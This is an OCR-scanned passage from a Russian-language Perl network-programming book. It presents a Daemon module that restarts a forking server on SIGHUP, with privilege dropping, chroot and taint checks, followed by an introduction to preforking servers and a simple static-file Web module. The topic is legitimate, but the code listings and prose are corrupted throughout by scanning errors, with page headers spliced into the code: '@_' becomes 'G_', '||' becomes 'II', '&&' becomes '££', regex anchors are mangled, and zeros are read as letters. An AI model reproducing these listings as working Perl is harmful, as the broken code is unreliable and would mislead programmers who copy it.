sigprocmask(SIG_UNBLOCK,$signals) ;
В случае успешного выполнения функция sigprocmask() возвращает истинное
значение; в ином случае — ложное. Описание других операций установки сигналов,
которые могут быть выполнены с помощью класса POSIX: :SigSet, приведено в
документе POD POSIX.
Рассмотрим новую версию модуля Daemon (листинг 14.7).
Листинг 14.7. Модуль Daemon с поддержкой пе. -запуска св'ве«а
package Daemon;
use strict;
use vars qw(GEXPORT GISA GEXP0RT_OK $VERSION);
use POSIX qw(:signal_h setsid WNOHANG);
use Carp 'croak','cluck';
use Carp::Heavy;
use File::Basename;
use IO::File;
use Cwd;
use Sys::Syslog qw(:DEFAULT setlogsock);
require Exporter;
GEXPORT_OK = qw(init_server prepare_child kill_children
launch_child do_relaunch
log_debug log_notice log_warn
log_die %CHILDREN);
GEXPORT = GEXPORT_OK;
GISA = qw(Exporter);
$VERSION = 'LOO';
use constant PIDPATH => '/var/run';
use constant FACILITY => 'localO*;
use vars qw(%CHILDREN);
my ($pid,$pidfile,$saved_dir,$CWD);
sub init_server {
my ($user,$group);
($pidfile,$user,$group) = G_;
$pidfile ||= getpidfilenameO;
my $fh = open_pid_file($pidfile);
become_daemon();
print $fh $$;
close $fh;
init_log();
change_privileges($user, $group)
if defined $user ££ defined $group;
return $pid = $$;
}
sub become_daemon {
croak "Can't fork" unless defined (my $child = fork) ;
exit 0 if $child; # Завершение родительского
# процесса
37: POSIX::setsid(); # Преобразование в лидера сеанса
450 Часть III. Разработка сштем TCP типа клиент/сервер
38: open(STDIN,"</dev/null");
39: open(STDOUT,">/dev/null") ;
40: open(STDERR,">&STDOUT") ;
41: $CWD = getcwd; # Регистрация значения рабочего
# каталога
42: chdir '/'; # Смена рабочего каталога
43: umask(O); # Сброс маски режима создания файла
44: $ENV{PATH} = */bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin*;
45: delete GENVflFS', 'CDPATH', 'ENV, 'BASH_ENV'};
46: $SIG{CHLD} = \&reap_child;
47: }
48: sub change_privileges {
49: my ($user,$group) = G_;
50: my $uid = getpwnam($user) or
die "Can't get uid for $user\n";
51: my $gid = getgrnam($group) or
die "Can't get gid for $group\n";
52: $) = "$gid $gid";
53: $( = $gid;
54: $> = $uid; # Смена действующего (но не реального) UID
55: }
56: sub launch_child {
57: my $callback = shift;
58: my $home = shift;
59: my $signals = POSIX::SigSet->new
(SIGINT,SIGCHLD,SIGTERM,SIGHUP);
60: sigprocmask(SIG_BLOCK,$signals); # Блокирование
# ненужных сигналов
61: log_die("Can't fork: $!") unless defined
(my $child = fork());
62: if ($child) {
63: $CHILDREN{$child} = $callback || 1;
64: } else {
65: $SIG{HUP} = $SIG{INT} = $SIG{CHLD} = $SIG{TERM} =
'DEFAULT';
66: prepare_child($home);
67: }
68: sigprocmask(SIG_UNBLOCK,$signals); # Разблокирование
# сигналов
69: return $child;
70: }
71: sub prepare_child {
72: my $home = shift;
73: if ($home) {
74: local($>,$<) = ($<,$>); # Снова приобрести права
# пользователя root
75: chdir $home II croak "chdir(): $!";
7 6: chroot $home I I croak "chroot(): $!";
77: }
78: $< = $>; # Установить реальный UID равным действующему
79: }
80: sub reap_child {
81: while ( (my $child = waitpid(-l,WNOHANG)) > 0) {
Глава 14. Повышение безотказности серверов
451
82: $CHILDREN{$child}->($child) if
ref $CHILDREN{$child} eq 'CODE';
83: delete $CHILDREN{$child};
84: }
85: }
sub kill_children {
kill TERM => keys %CHILDREN;
# Дождаться завершения работы всех дочерних процессов
sleep while %CHILDREN;
}
sub do_relaunch {
$> = $<; # Снова приобрести все права
chdir $1 if $CWD =~ m!([./a-zA-zO-9_-]+)!;
croak "bad program name" unless $0 =~ m!([./a-zA-zO-9_-]+)!;
my $program = $1;
my $port = $1 if $ARGV[0] =~ /(\d+)/;
unlink $pidfile;
exec 'perl','-T',$program,$port or croak "Couldn't exec: $!";
>
sub init_log {
setlogsockf'unix');
my $basename = basename($0);
openlog($basename,'pid',FACILITY);
$SIG{ WARN } = \&log_warn;
$SIG{ DIE } = \&log_die;
>
sub log_debug { syslog('debug',_msg(@_)) }
sub log_notice { syslog('notice',_msg(@_) ) }
sub log_warn { syslog('warning*,_msg(@_)) }
sub log_die {
syslog('crit',_msg(@_)) unless $^S;
die G_;
}
sub _msg {
my $msg = join('',G_) II "Something's wrong";
my ($pack,$filename,$line) = caller(l);
$msg .= " at $filename line $line\n" unless $msg =~ /\n$/;
$msg;
}
sub getpidfilename {
my $basename = basename($0,'.pi');
return PIDPATH . "/$basename.pid";
}
sub open_pid_file {
my $file = shift;
if (-e $file) { # Ошибка. Файл pid уже существует
my $fh = IO::File->new($file) II return;
my $pid = <$fh>;
croak "Invalid PID file" unless $pid =~ /~(\d+)$/;
croak "Server already running with PID $1" if kill 0 => $1;
cluck "Removing PID file for defunct server process $pid.\n";
452
Часть Ш. Разработка систем TCP типа клиент/сервер
132: croak"Can't unlink PID file $file"
unless -w $file && unlink $file;
133: }
134: return IO::File->new($file,O_WRONLY|O_CREAT|0_EXCL,0644)
135: or die "Can't create $file: $!\n";
136: }
137
138
139
140
END {
$> = $<; # Снова приобрести все права
unlink $pidfile if defined $pid and $$ == $pid
>
141: 1;
142: END
Проведем анализ программы.
Строки 1-21. Установка модулей. Единственное изменение состоит в импорте нового набора
функций POSIX, которые обозначены как группа ":signal_h". Эти функции предоставляют
функциональные средства временной блокировки сигналов, которые применяются в
подпрограмме launch_child().
Строки 22-33. Подпрограмма init_server о. Эта подпрограмма идентична
предыдущим версиям.
Строки 34-47. Подпрограмма becomejdaemon (). Эта подпрограмма идентична предыдущим
версиям. Однако перед вызовом функции chdir () для превращения текущего каталога в
корневой, текущий каталог запоминается в глобальной переменной пакета $cwd. Это позволяет
вернуться к такой же ситуации, какая была перед повторным запуском сервера.
Строки 48-55. Подпрограмма change_privileges (). Она идентична предыдущим версиям.
Строки 56-70. Подпрограмма launch_child(). Теперь различные операции ветвления и
инициализации дочерних серверных процессов сосредоточены в подпрограмме launch child ().
Эта подпрограмма принимает один параметр, путь к каталогу. Если этот параметр задан, он
передается подпрограмме prepare_child () для вызова функции chroot ().
Выполнение подпрограммы начинается с создания нового набора сигналов posix: :SigSet,
содержащего такие сигналы, как int, chld, term и hup. После этого предпринимается
попытка ветвления. Если при ветвлении возникает ошибка, в журнале регистрируется сообщение.
Если возвращенный PID больше 0, управление находится в родительском процессе, поэтому
PID дочернего процесса добавляется к хешу %children. В дочернем процессе
переустанавливаются четыре обработчика сигналов для выполнения ими действий, предусмотренных по
умолчанию, и вызывается подпрограмма prepare_child () для установки привилегий
пользователя и смены корневого катвлога.
Перед выходом из подпрограммы разблокируются все сигналы, которые были получены в
течение этого пвриода, и идентификатор дочернего процесса, если он есть, возвращается
вызывающей процедуре. Эти действия выполняются и в родительском, и в дочернем процессах.
Строки 71-79. Подпрограмма prepare_child(). Эта подпрограмма идентична предыдущим
версиям, за исключением того, что выполнение функции chroot () зависит от того, был ли
передан этой функции путь к каталогу. В любом случае эта подпрограмма перекрывает
реальный идентификатор пользователя действующим, в результате чего дочерний процесс
лишается всех привилегий, унаследованных от родительского процесса.
Строки 80-85. Подпрограмма reap_chiid(). Эта подпрограмма представляет собой
обработчик chld. Вызывается функция waitpido в непрерываемом цикле, что влечет за собой
выборку идентификаторов дочерних процессов, прекративших свою работу. Каждый процесс,
который удалвн таким образом из системной таблицы процессов, устраняется из глобального
хеша %children для обеспечения точного учета активных соединений.
Строки 86-90. Подпрограмма Jcill_children(). Отправляется сигнал term с указанием
идентификатора каждого активного дочернего процесса. Затем подпрограмма входит в цикл,
Глава 14. Повышение безотказности серверов
453
в котором она приостанавливается с помощью функции sleep () до тех пор, пока хеш
^children не будет пуст. Вызов sleep () может быть прерван только при получении сигнала,
но, как правило, это происходит после получения входящего сигнала chld. Это —
эффективный способ ожидания завершения всех дочерних соединений в родительском процессе.
• Строки 91-99. Подпрограмма do_relaunchо. Назначение подпрограммы do_reiaunch()
состоит в восстановлении среды, по возможности, в такое состояние, в каком сервер
находился при первом запуске, и в вызове функции exec () для замены текущего процесса новым
экземпляром сервера.
Выполнение подпрограммы начинается с восстановления привилегий суперпользователя
путем установки значения действующего UID, равного реальному UID. Теперь необходимо
восстановить первоначальный рабочий каталог. Однако сервер работает в режиме проверки
потенциально опасных данных, а вызов функции chdir () чувствителен к потенциально опасным
данным. Поэтому выполняется сопоставление с образцом имени рабочего каталога,
хранящегося в переменной scwd, и осуществляется вызов функции chdir () для перехода в каталог,
указанный полученным значением пути к каталогу.
После этого необходимо настроить параметры вызова функции exec (). Имя сервера берется
из переменной $0, параметр с указанием номера порта— из переменной $ap,gv [0]. Однако
эти переменные также являются потенциально опасными и не могут быть переданы
непосредственно функции exec (), поэтому необходимо выполнить их сопоставление с образцом и
извлечение аналогичным способом. После запуска новый сереер выдаст предупреждающее
сообщение, что файл PID уже имеется, поэтому этот файл уничтожается заранее.
И наконец, вызывается функция exec () со всеми параметрами, необходимыми для
повторного запуска сервера. Первым параметром является имя интерпретатора Perl, поиск которого
функция exec () будет выполнять в (безопасной) переменной среды path. Вторым —
параметр -т командной строки для включения режима проверки потенциально опасных данных.
Остальными параметрами являются имя сценария, которое извлечено из переменной $0,
и параметр с номером порта. В случае успешного выполнения функция ехес() не возвращает
управление. В ином случае вызывается функция die с сообщением об ошибке.
• Строки 100-142. Остальная часть модуля. Остальная часть модуля идентична
предыдущим версиям.
Ниже приведена выдержка из системного журнала, в которой содержатся записи,
созданные после запуска пересмотренной версии сервера, многократного
подключения с локального хоста и отправки на сервер сигнала HUP. Подключившись еще
дважды для проверки того, что перезапущенный сервер работает правильно, автор
направил серверу сигнал TERM, чтобы остановить его полностью.
Jun 13 05:54:57 pesto eliza_hup.pl[8776]:
Server accepting connections on port 1002
Jun 13 05:55:51 pesto eliza_hup.pl[8808]:
Accepting a connection from 127.0.0.1
Jun 13 05:56:01 pesto eliza_hup.pl[8810]:
Accepting a connection from 127.0.0.1
Jun 13 05:56:08 pesto eliza_hup.pl[8776]:
HUP signal received, reinitializing...
Jun 13 05:56:08 pesto eliza_hup.pl[8776]:
Closing listen socket...
Jun 13 05:56:08 pesto eliza_hup.pl[8776]:
Terminating children...
Jun 13 05:56:08 pesto eliza_hup.pl[8776]:
Trying to relaunch...
Jun 13 05:56:10 pesto eliza_hup.pl[8811]:
Server accepting connections on port 1002
Jun 13 05:56:14 pesto eliza_hup.pl[8815]:
Accepting a connection from 127.0.0.1
Jun 13 05:56:19 pesto eliza_hup.pl[8815]:
Connection from 127.0.0.1 finished
Jun 13 05:56:26 pesto eliza_hup.pl[8817]:
454
Часть Ш. Разработка систем TCP типа клиент/сервер
Accepting a connection from 127.0.0.1
Jun 13 05:56:28 pesto eliza_hup.pl[8811]:
TERM signal received, terminating children...
Jun 13 05:56:28 pesto eliza_hup.pl[8811]:
Server exiting normally
Этот метод можно легко распространить на другие сигналы. Например, можно
использовать сигнал USR1 как команду для активизации режима ведения подробного
журнала, a USR2 — как команду возврата к обычному режиму ведения журнала.
Резюме
Поскольку сетевые серверы предназначены для продолжительной работы в
автоматическом режиме, дополнительные усилия по повышению их надежности вполне
оправданы. В настоящей главе описаны некоторые широко применяемые методы
повышения стабильности, управляемости и защищенности сетевых серверов.
Журналы, создаваемые путем записи диагностической информации
непосредственно в файл или передачи стандартному демону ведения журнала, позволяют
контролировать состояние демона сервера и обнаруживать исключительные ситуации.
Средства управления привилегиями позволяют выполнять в серверной программе
некоторые задачи запуска и останова от имени привилегированного пользователя, но
отказываться от этих привилегий перед переходом к взаимодействию с сетевыми
клиентами, не заслуживающими доверия. Это исключает возможность
непреднамеренного повреждения хоста серверной программой (из-за ошибки в самой программе
или в результате злонамеренных действий взломщика).
Режим проверки потенциально опасных данных не допускает выполнения в
сценарии некоторых опасных операций, например непосредственной передачи внешней
команде не заслуживающих доверия данных, полученных из сети. Он позволяет закрыть
наиболее часто встречающиеся бреши в защите сетевых серверов на основе Perl.
Функция chroot () изолирует сервер в подкаталоге, отделяя его от остальной
файловой системы. Она позволяет повысить степень защищенности серверов,
которые манипулируют файлами.
И наконец, часто возникает необходимость изменить конфигурацию работающего
сервера. Для этого обычно применяется перезапуск сервера по сигналу HUP, при
котором сервер повторно считывает файл конфигурации. В главе приведен пример
того, как выполнить обработку сигнала HUP в сервере с ветвлением для его перезапуска.
■ Глава 14. Повышение безотказности серверов
455
Глава
Предварительная
организация
мультипроцессной и
многопоточной обработки
В главах 9-12 описан ряд методов одновременной обработки нескольких
входящих соединений в серверном приложении.
1. Последовательный метод. Сервер обрабатывает соединения по одному. Такой
метод, как правило, применяется в серверах UDP, поскольку каждая
транзакция является непродолжительной, однако он неприемлем для серверов с
установлением логического соединения.
2. Прием и ветвление. Сервер принимает соединения и выполняет ветвление
с созданием нового дочернего процесса для обслуживания каждого
соединения. Это — наиболее распространенный тип сервера в системах UNIX; к этому
типу относятся также серверы, запускаемые супердемоном inetd.
3. Прием и формирование потока. Сервер принимает соединения и создает новые
потоки выполнения для обслуживания каждого из них. Этот метод может
обеспечивать более высокую производительность, нежели метод приема
и ветвления, поскольку системные издержки запуска нового потока обычно
ниже по сравнению с запуском нового процесса.
4. Мультиплексный метод. В сервере применяется функция select () и
реализована собственная логика сопровождения состояния сеансов для чередования
обработки многочисленных соединений. Этот метод обеспечивает самую
высокую производительность, поскольку с ним не связаны издержки запуска
процесса, однако его оборотной стороной является повышенная сложность кода,
особенно если применяется неблокирующий ввод-вывод.
В большинстве случаев требования, предъявленные к проекту, могут быть
удовлетворены с использованием одной из этих четырех архитектур. Однако иногда, особенно если
сервер должен выдерживать тяжелую нагрузку, приходится применять более сложную
конструкцию программы. В настоящей главе описаны еще две серверные архитектуры:
с предварительным ветвлением и предварительным формированием потоков.
Ш
456
Часть III. Разработка систем TCP типа клиент/сервер
Предварительное ветвление
Для пояснения принципа действия сервера с предварительным ветвлением нужно
сравнить его с сервером, который выполняет прием и ветвление. Как описано в главе 6,
серверы, выполняющие прием и ветвление, в основном находятся в состоянии,
заблокированном в функции accept (), ожидая нового входящего соединения. При
поступлении входящего запроса на установление соединения родительский серверный
процесс активизируется лишь на то время, чтобы вызвать функцию fork () и
передать подключенный сокет дочернему процессу. После ветвления дочерний процесс
переходит к обслуживанию соединения, а родительский возвращается к ожиданию
активизации функции accept ().
Основой сервера с приемом и ветвлением являются следующие строки кода:
while ( my $c = $socket->accept ) {
my $child = fork;
die unless defined $child;
if ($child == 0) { # В дочернем процессе
handle_connection($c);
exit 0;
}
close $c; # В родительском процессе
}
Этот метод хорош при обычных условиях, но может оказаться неприменимым,
если сервер работает в условиях тяжелой нагрузки. В этом случае запросы на
установление соединения могут поступать так часто, что издержки вызова функции f or k ()
будут оказывать заметное влияние и сервер потеряет способность справляться с
обработкой входящих соединений. Это особенно характерно для Web-серверов, которые
обрабатывают много коротких запросов, поступающих в стремительном темпе.
Общепринятым решением этой проблемы является так называемый метод с
предварительным ветвлением. В соответствии с самим названием метода, серверы с
предварительным ветвлением выполняют ветвление своего родительского процесса с
помощью функции fork () несколько раз вскоре после запуска. Каждый дочерний
процесс, созданный путем ветвления, отдельно вызывает функцию accept (), полностью
обслуживает входящее соединение, а затем снова переходит в состояние ожидания
активизации функции accept (). Каждый дочерний процесс может работать
неопределенно долго или завершаться после обработки заранее заданного числа запросов.
Между тем, сам родительский процесс действует как супервизор для всего процесса,
выполняя ветвление новых дочерних процессов по мере уничтожения старых и
завершая работу всех дочерних процессов, когда приходит время выполнить останов.
Основная часть кода сервера с предварительным ветвлением выглядит примерно так
for (1..PREFORK_CHILDREN) {
next if fork; # Родительский процесс
do_child($socket); # Дочерний процесс
exit 0; # Этот цикл не выполняется в дочернем процессе
}
sub do_child {
my $socket = shift;
my $connection_count =0;
while (my $c = $socket->accept ) {
handle_connection($c);
close $c;
}
}
Глава 15. Предварительная организация мулътипроцессной и... 457
В главном цикле выполняется ветвление и создаются дочерние процессы, а затем
каждому из них передается приемный сокет. Каждый дочерний процесс вызывает
функцию accept () для данного сокета и обслуживает соединения.
Это — основа метода, но в действительности реализация сервера с
предварительным ветвлением требует проработки дополнительных деталей и поэтому намного
сложнее. В частности, родительский процесс должен ожидать завершения дочерних
процессов и запускать новые по мере их уничтожения; он должен корректно
остановить дочерние процессы, когда наступит время завершить работу; обработчики
сигналов должны быть тщательно продуманы, чтобы сигналы, предназначенные для
родительского процесса, не обрабатывались дочерними процессами и наоборот. Сервер
становится еще сложнее, если в нем решено реализовать принцип динамической
адаптации к обслуживанию сети: уменьшение числа дочерних процессов при снижении
интенсивности входящего трафика и увеличение этого числа при его повышении.
В следующих разделах рассматривается ряд проектов серверов с предварительным
ветвлением, начиная от простой (но полностью работоспособной) и заканчивая
весьма сложной конструкцией.
Web-сервер
В качестве иллюстрации к рассматриваемому методу будет описан ряд Web-
серверов, которые отвечают только на запросы по получению статических файлов
и распознают лишь небольшое число расширений файлов. Конечным продуктом
является ограниченный, но полностью работоспособный сервер, к которому можно
обращаться с любого стандартного Web-броузера.
Каждая версия сервера содержит несколько подпрограмм, которые обеспечивают
взаимодействие с клиентом путем реализации части основного протокола HTTP.
Поскольку эти подпрограммы неизменны, они включены в один модуль, Web.
Протокол HTTP с точки зрения клиента был описан в главах 9 и 12. После
подключения броузер посылает запрос HTTP, состоящий из обозначения метода запроса
(как правило, "GET") и URL, который затребован для выборки. За ним могут следовать
необязательные поля заголовка; признаком окончания текста запроса служат две
пары символов возврата каретки и перевода строки (CRLF). Сервер читает запрос
и преобразовывает URL в путь к физическому файлу где-то в файловой системе. Если
файл существует и клиенту разрешена его выборка, то сервер отправляет клиенту
короткий заголовок, за которым следует содержимое файла. Заголовок начинается с
числового кода состояния, указывающего на успешное или неудачное выполнение
запроса, за ним следуют необязательные поля с описанием характера документа,
который идет за заголовком. Заголовок отделен от содержимого файла парой
последовательностей CB.LF. Запрос HEAD обрабатывается аналогичным образом, но
вместо выдачи всего документа сервер возвращает только информацию заголовка.
Модуль Web приведен в листинге 15.1.
Листинг 15.1. Основные процедуры Web-сервера
0: package Web;
1: # Файл: web.pm
2: # Вспомогательные процедуры для создания сервера с
458
Часть Ш. Разработка систем TCP типа клиент/сервер
# минимальным набором функций
3: # Экспортируются только функции handle_connection() и
# docroot()
4: use strict;
5: use vars 'GISA*,*0EXPORT';
6: require Exporter;
7: GISA = 'Exporter';
8: GEXPORT = qw(handle_connection docroot);
9: my $DOCUMENT_ROOT = '/home/www/htdocs";
10: my $CRLF = "\015\012";
11: sub handle_connection {
12: my $c = shift; # Сокет
13: my ($fh,Stype,$length,$url,$method);
14: local $/ = "$CRLF$CRLF"; # Установить символы
# обозначения конца строки
15: my $request = <$с>; # Прочитать заголовок запроса
16: return invalid_request($c)
17: unless ($method,$url) = $request =
~ m!~(GET|HEAD) (/.*) HTTP/1\.[01]!;
18: return not_found($c) unless ($fh,$type,$length) =
lookup_file($url);
19: return redirect($c,"$url/") if $type eq 'directory';
20: # Вывести заголовок
21: print $c "HTTP/1.0 200 0K$CRLF";
22: print $c "Content-length: $length$CRLF";
23: print $c "Content-type: $type$CRLF";
24: print $c $CRLF;
25: return unless $method eq 'GET';
26: # Вывести тело сообщения
27: my $buffer;
28: while ( read($fh,$buffer,1024) ) {
29: print $c $buffer;
30: }
31: close $fh;
32: }
33: sub lookup_file {
34: my $url = shift;
35: my $path = $DOCUMENT_RO0T . $url; # Преобразовать в
# имя файла
36: $path =~s/\?.*$//; # Исключить запрос
37: $path =~ s/\#.*$//; # Исключить
# имя фрагмента
38: $path .= 'index.html' if $url=~m!/$!; # Получить файл
# index.html, если путь доступа оканчивается символом /
39: return if $path =~m!/\.\./!; # Относительные
# имена файлов (..) не допускаются
40: return (undef,'directory', undef) if -d $path; # Ошибка!
# Каталог
41: my $type = 'text/plain'; # Тип MIME,
Глава 15. Предварительная организация мультипроцессной и... 459
# применяемый по умолчанию
42: $type = 'text/html' if $path =~ /\.html?$/i; # Файл
# HTML?
43: $type = 'image/gif if $path =~ /\.gif$/i; # GIF?
44: $type = •image/jpeg' if $path =~ /\.jpe?g$/i; # JPEG?
45: return unless my $length = (stat(_))[7]; # Размер файла
46: return unless my $fh = IO::File->new($path,"<"); # Файл
# открыт
47: return ($fh,$type,$length);
48: }
sub redirect {
my ($c#$url) = @_;
my $host = $c->sockhost;
my $port = $c->sockport;
my $moved_to = "http://$host:$port$url";
print $c "HTTP/1.0 301 Moved permanently$CRLF";
print $c "Location: $moved_to$CRLF";
print $c "Content-type: text/html$CRLF$CRLF";
print $c «END;
<HTML>
<HEADXTITLE>301 Moved</TITLEX/HEAD>
<BODY><Hl>Moved</Hl>
<P>The requested document has moved
<A HREF="$moved_to">here</A>.</P>
</BODY>
</HTML>
END
}
sub invalid_request {
my $c = shift;
print $c "HTTP/1.0 400 Bad request$CRLF";
print $c "Content-type: text/html$CRLF$CRLF";
print $c «END;
<HTML>
<HEADXTITLE>400 Bad Request</TITLEX/HEAD>
<BODYXHl>Bad Request</Hl>
<P>Your browser sent a request that this server
does not support.</P>
</B0DY>
</HTML>
END
}
sub not_found {
my $c = shift;
print $c "HTTP/1.0 404 Document not found$CRLF";
print $c "Content-type: text/html$CRLF$CRLF";
print $c «END;
<HTML>
<HEADXTITLE>404 Not Found</TITLEX/HEAD>
<BODYXHl>Not Found</Hl>
<P>The requested document was not found on this server.</P>
</B0DY>
</HTML>
END
}
460
Часть Ш. Разработка систем TCP типа клиент/сервер
94: sub docroot {
95: $DOCUMENT_ROOT = shift if G_;
96: return $DOCUMENT_ROOT;
97: }
98: 1;
Проведем анализ программы.
• Строки 1-8. Настройка модуля. В модуле объявлены для экспорта функции
handleconnection () и docroot (). Первая является основной точкой входа для всех
процедур обслуживания транзакций Web. Последняя используется для установки так
называемого "корневого каталога документов": физического каталога, который соответствует URL"/".
• Строки 9, 10. Объявление глобальных переменных. Единственной глобальной переменной
является $rocuMENT_ROOT, который содержит путь к физическому каталогу, соответствующему
URL самого верхнего уровня на этом узле. Все файлы, предоставляемые Web-сервером, должны
находиться под этим каталогом. По умолчанию это значение установлено равным
/home/www/htdocs, но в сценарии для его изменения может быть вызвана функция docroot ().
Подобно другим сетевым протоколам, ориентированным на обработку строк, в протоколе
HTTP для обозначения конца каждой строки применяется последовательность символов crlf.
Для удобства чтения кода определена глобальная переменная $crlf, которая содержит
правильную последовательность символов.
• Строки 11-32. Подпрограмма handle_connection (). Основной объем работы выполняется
в подпрограмме handle_connection (), которая принимает в качестве параметра
подключенный сокет и обслуживает всю транзакцию HTTP. В первой части подпрограммы
осуществляется чтение запроса путем установки переменной с обозначением символов конца строки
($/), равной "$crlf$crlf", и вызова оператора о.
• Строки 16-19. Обработка запроса. Следующий раздел подпрограммы обеспечивает
обработку запроса. В нем вначале предпринимается попытка интерпретировать самую первую
строку и извлечь затребованный URL. Если метод запроса отличается от get или head или
протокол, используемый броузером, отличается от НТТР/1.0 или НТТР/1.1, то функция
отправляет в броузер сообщение об ошибке путем вызова подпрограммы invalid_request ()
и выполняет возврат. В ином случае она вызывает подпрограмму lookup_f ile (), которая
предпринимает попытку открыть затребованный файл для чтения.
При успешном выполнении подпрограмма iookup_file () возвращает трехэлементный
список, содержащий открытый дескриптор файла, код типа файла и его длину. В ином случае она
возвращает пустой список и вызывает подпрограмму not_f ound () для отправки в броузер
соответствующего сообщения об ошибке.
Еще одно исключительное условие, с которым приходится иметь дело в этой подпрограмме,
состоит в том, что броузер запрашивает URL, оканчивающийся именем каталога, а не именем
файла. Такие URL должны оканчиваться косой чертой, поскольку в ином случае
относительные ссылки в документах HTML, такие как ../service_info.html, не будут действовать
должным образом. Если броузер запрашивает URL, который оканчивается именем каталога,
но не имеет завершающего символа косой черты, то подпрограмма lookup_f ile () сообщает
об этом, возвращая код типа файла "directory". При этом сервер вызывает функцию
redirect (), которая сообщает броузеру, что запрос должен быть выдан повторно с
использованием URL, содержащего в конце символ косой черты.
• Строки 20-24. Вывод заголовка. Если затребованный документ был открыт успешно, то
подпрограмма handle_connection () создает простой заголовок HTTP, отправляя строку состояния с
кодом результата 200, за которой следуют поля заголовка, указывающие длину и тип документа.
Заголовок завершается парой символов crlf. Настоящий Web-сервер может также предусматривать
отправку другой информации, такой как имя серверного программного обеспечения, текущая дата
и время, а также отметка времени последнего изменения затребованного файла.
• Строки 25-3Z Обработка условий завершения. Если запрос был выполнен по методу head,
то выполнение завершается и происходит выход из процедуры. В ином случае содержимое
Глава 15. Предварительная организация мультипроцессной и... 461
дескриптора файла копируется в сокет с использованием неразрывного цикла while (). После
копирования в сокет всего файла дескриптор файла закрывается и выполняется возврат.
Строки 33-48. Подпрограмма lookup_f±ie(). Эта подпрограмма выполняет преобразование
затребованного URL в путь к физическому файлу, собирает некоторую информацию о выбранном
файле и, если возможно, открывает его. Она также следит за тем, чтобы в броузере не применялись
злонамеренные способы работы с URL, такие как включение двойных точек в обозначение пути для
перехода в ту часть файловой системы, на которую у клиента отсутствуют права доступа.
Строки 35-39. Обработка URL. Выполнение подпрограммы iookup_file () начинается
с преобразования URL в физический путь доступа путем применения к нему в качестве
префикса содержимого переменной $document_root. Выполняется также определенная
предварительная обработка URL. Например, путь может содержать строку запроса (знак вопроса "?",
за которым следует текст) и, возможно, обозначение фрагмента HTML (знак диеза "#", за
которым следует текст). Эта информация удаляется.
Обозначение пути может оканчиваться косой чертой, которая указывает, что путь обозначает
каталог. В этом случае в конце пути добавляется строка index. html для автоматической
выборки "страницы приглашения".
Последний этап обработки обозначения пути состоит в предотвращении возможности для
удаленного пользователя получить обманным путем файлы, находящиеся за пределами
пространства корневого каталога документов, посредством вставки в URL элементов
относительного обозначения пути (таких, как ".."). Это происходит в форме отказа обрабатывать имя
пути, содержащее элементы относительного обозначения.
Строка 40. Обработка запросов к каталогам. Теперь нужно обработать запросы с
обозначениями пути, которые оканчиваются именами каталогов (без заключительной косой черты).
В этом случае необходимо предупредить инициатора запроса о том, что это может вызвать
перенаправление. К обозначению пути применяется оператор файловой проверки каталога -d;
если этот оператор возврвщвет истинное значение, то инициатору запроса возврвщается
фиктивный тип документа "directory".
Строки 41-45. Определение типа MIME и размера документа. Следующая часть этой
подпрограммы позволяет определить тип MIME затребованного документе. В настоящем
Web-броузере может быть предусмотрена длинная поисковая таблица с расширениями
файлов. В данном модуле предусматривается только рвслознавание файлов HTML, GIF и JPEG,
а для всего прочего по умолчанию применяется тип text /plain.
Тепврь в этой подпрограмме выполняется выборка значения размера затребованного файла
в байтах путем вызова функции stat (). Интерпрвтвтор Perl уже сам выполнил вызов функции
stat () при обработке оператора -d, поэтому нет смыслв его повторять. Общвя схема
вызове stat (_) позволяет выбрать информацию состояния, записанную в буфар после
предыдущего вызова, и сэкономить немного процессорного времени. Файл может отсутствовать
в файловой системе; в таком случав функция stat () возвращает значение undef.
Строки 46-48. Открытие документа. Последнее действие состоит в открытии файла путем
вызова метода Ю: :File->new(). В данном случае нужно учесть, что удаленный
пользователь может включить в URL метасимволы командного интерпретатора (такив, как ">" или " I").
Поэтому вместо вызова метода new() с одним параметром, который предусматривает
передачу метасимволов командному интерпретатору для обработки, он вызывается с двумя парв-
метрами: именем файла и режимом файла (в данном случае с режимом "<", который
обозначает чтение). Это позволяет предотвратить обработку метасимволов и, тем самым, исключить
неосторожный запуск подпроцесса или затирание файла, если был получен злонамеренно
сконструированный URL. Если выполнение метода new () оканчивается неудачей,
возвращается значение undef. В ином случае функция возвращает трехэлементный список, состоящий
из открытого дескриптора файла, кода типа файла и длины файла.
Строки 49-66. Функция redirect о. Эта функция предназначена для отправки в броузер
сообщения о возможном перенаправлении. Она вызывается, если броузер запрашивает URL,
который оканчивается именем каталога, но не содержит заключительного символа косой
черты. Конечная цель этой функции состоит в передаче примерно такого документа:
НТТР/1.0 301 Moved permanently
Location: http://192.168.2.1:8080/service_records/
Content-type: text/html
462
Часть III. Разработка систем TCP типа клиент/сервер
<HTML>
<HEAD><TITLE>301 Moved</TITLE></HEAD>
<BODY><Hl>Moved</Hl>
<P>The requested document has moved
<A HREF="http://192.168.2.1:8080/service_records/";>here</A>.</P>
</BODY>
</HTML>
Важной частью этого документа является код состояния 301, который означает, что для
документа "определено другое постоянное местонахождение", и поле Location, содержащее
полный URL, по которому теперь можно найти этот документ. Остальная часть представляет
страницу, предназначенную для восприятия человеком, которая будет отображаться в тех
броузерах (очень стврых), которые не распознают команду перенаправления.
В основе работы функции redirect!) лежит исключительно простой принцип.
Восстанавливается IP-адрес хоста сервера и приемный порт путем вызова методов sockhostt)
и sockport () подключенного сокета. Затем на основе этих значений вырабатывается
соответствующий документ.
Эта версия функции redirect О имеет небольшой стилистический недостаток, поскольку
в ней имя хоста сервера заменено IP-адресом, представленным в виде четырех чисел,
разделенных точками. Это можно исправить путем вызова функции gethostbyaddr () (глава 3) для
преобразования адреса в имя хоста и, возможно, дополнительного кэширования результата
в глобвльной переменной в целях повышения производительности.
• Строки 67-93. Подпрограммы invalid_requeet() и not_found(). Эти подпрограммы
очень похожи. Подпрограмма invalid_request () возвращает код состояния 400, который
является универсальным для обозначения так называемого "некорректного запроса". За ним
следует небольшой документ HTML с описанием проблемы в терминах, предназначенных для
восприятия человеком. Подпрограмма not_found() аналогична ей, но возвращает код
состояния 404, который используется, если звтребованный документ недоступен.
• Строки 94-98. Подпрограмма docroot О. Данная подпрограмма либо возвращает текущее
значение переменной $document_root, либо изменяет его, если ей предоставлен параметр.
Web-серверы с последовательным методом
обработки
Первая версия Web-сервера очень проста (листинг 15.2). Она состоит из
единственного цикла accept (), который обрабатывает запросы последовательно.
Автор применил этот "базовый" сервер для проверки того, что модуль Web
работает правильно. После создания сокета сервер входит в цикл accept (). При каждом
проходе по циклу он вызывает метод handle_connection () модуля Web для
обработки запроса.
